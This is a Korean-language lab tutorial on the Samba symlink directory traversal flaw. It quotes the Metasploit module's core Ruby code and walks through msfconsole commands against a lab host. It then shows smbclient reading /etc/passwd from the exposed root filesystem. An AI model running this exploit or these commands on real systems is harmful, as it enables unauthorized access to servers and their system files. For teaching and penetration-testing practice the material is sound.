Samba 취약점 분석
이 단계에서는 Samba 취약점에 대해 배우고 익스플로잇 모듈의 핵심 코드를 분석합니다.
Samba 는 UNIX 와 유사한 운영 체제가 Microsoft Windows 에서 사용하는 SMB/CIFS(Server Message Block/Common Internet File System) 네트워크 프로토콜에 연결할 수 있도록 하는 자유 소프트웨어입니다. 버전 3 은 SMB 폴더 및 프린터에 대한 액세스 및 공유를 허용할 뿐만 아니라 Windows Server 도메인에 도메인 컨트롤러로 통합되거나 Active Directory 에 멤버로 가입할 수도 있습니다. 간단히 말해서, 이 소프트웨어는 Windows 와 UNIX 와 유사한 운영 체제 간의 격차를 해소하여 두 운영 체제 간의 리소스 공유를 가능하게 합니다.
Samba 는 광범위한 응용 프로그램을 가지고 있으므로 Samba 의 취약점은 상당한 영향을 미칠 수 있습니다. Samba 는 선택한 Unix 디렉토리 (모든 하위 디렉토리 포함) 에 대한 네트워크 공유를 생성할 수 있습니다. 이 기능을 통해 Windows 사용자는 일반 Windows 폴더에 액세스하는 것처럼 네트워크를 통해 이러한 Unix 디렉토리에 액세스할 수 있습니다.
이 실험에서 사용된 취약점 인덱스는 다음과 같습니다.
OSVDB-62145
이 실험에서 사용된 samba 모듈의 소스 코드 인덱스는 다음과 같습니다.
symlink_traversal.rb
핵심 코드 설명을 살펴보겠습니다.
## Module initialization information, including author information and module introduction
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
모듈의 핵심 코드를 설명한 후, 다음 명령을 입력하여 MSF 터미널에서 실제 익스플로잇을 수행해 보겠습니다.
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
대상 호스트를 설정합니다.
set RHOST 192.168.122.102
공유 디렉토리를 선택합니다.
set SMBSHARE tmp
참고: 이 Samba 취약점의 영향은 선택한 Unix 디렉토리 (모든 하위 디렉토리 포함) 에 대한 네트워크 공유를 생성할 수 있다는 것입니다.
필요한 모든 매개변수를 설정한 후 취약점을 익스플로잇할 수 있습니다.
exploit
성공하면 다음 메시지가 표시됩니다.
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
익스플로잇에 성공한 후 exit 명령으로 종료하고 터미널에서 smbclient를 사용하여 연결할 수 있는지 테스트합니다. 암호를 묻는 메시지가 표시되지만 암호를 입력하지 않고 Enter 키를 누를 수 있습니다.
exit
smbclient //192.168.122.102/tmp
연결되면 다음 명령을 실행하여 루트 파일 시스템에 대한 액세스를 확인할 수 있습니다.
more rootfs/etc/passwd
다음과 유사한 출력을 볼 수 있습니다.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
이는 취약점을 성공적으로 악용하여 생성된 네트워크 공유를 통해 대상 호스트에 액세스했음을 확인합니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.